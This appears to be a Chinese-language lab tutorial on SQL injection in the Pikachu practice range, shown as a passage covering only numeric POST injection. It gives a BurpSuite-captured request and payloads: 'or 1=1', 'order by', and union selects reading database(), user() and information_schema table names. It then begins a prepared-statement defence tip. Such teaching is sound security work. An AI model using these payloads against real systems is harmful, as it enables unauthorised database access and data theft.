Pikachu靶场实战：10种SQL注入类型通关技巧（附BurpSuite抓包演示）

Pikachu靶场实战：10种SQL注入类型通关技巧（附BurpSuite抓包演示）

网络安全领域里，SQL注入始终是Web应用的头号威胁。作为OWASP Top 10的常驻冠军，这种攻击手段能让攻击者直接操纵数据库，轻则数据泄露，重则系统沦陷。Pikachu靶场作为国内知名的漏洞练习平台，其SQL注入模块涵盖了从基础到进阶的完整攻击场景。本文将带您深入10类典型注入手法的实战过程，结合BurpSuite抓包分析，揭示每种漏洞背后的原理与防御之道。

1. 数字型注入（POST传参）

数字型注入是最基础的攻击形式，通常出现在表单ID等纯数字参数处。在Pikachu靶场中，用户选择框通过POST方式提交id参数：

POST /vul/sqli/sqli_id.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

id=1&submit=查询

攻击步骤：

1. 使用BurpSuite拦截请求，修改id值为1 or 1=1，返回所有用户数据
2. 通过order by 2确定字段数为2列
3. 联合查询获取敏感信息：

   id=-1 union select database(),user() -- 
   

4. 提取表结构：

   id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --
   

防御建议：

• 使用预编译语句处理数字参数<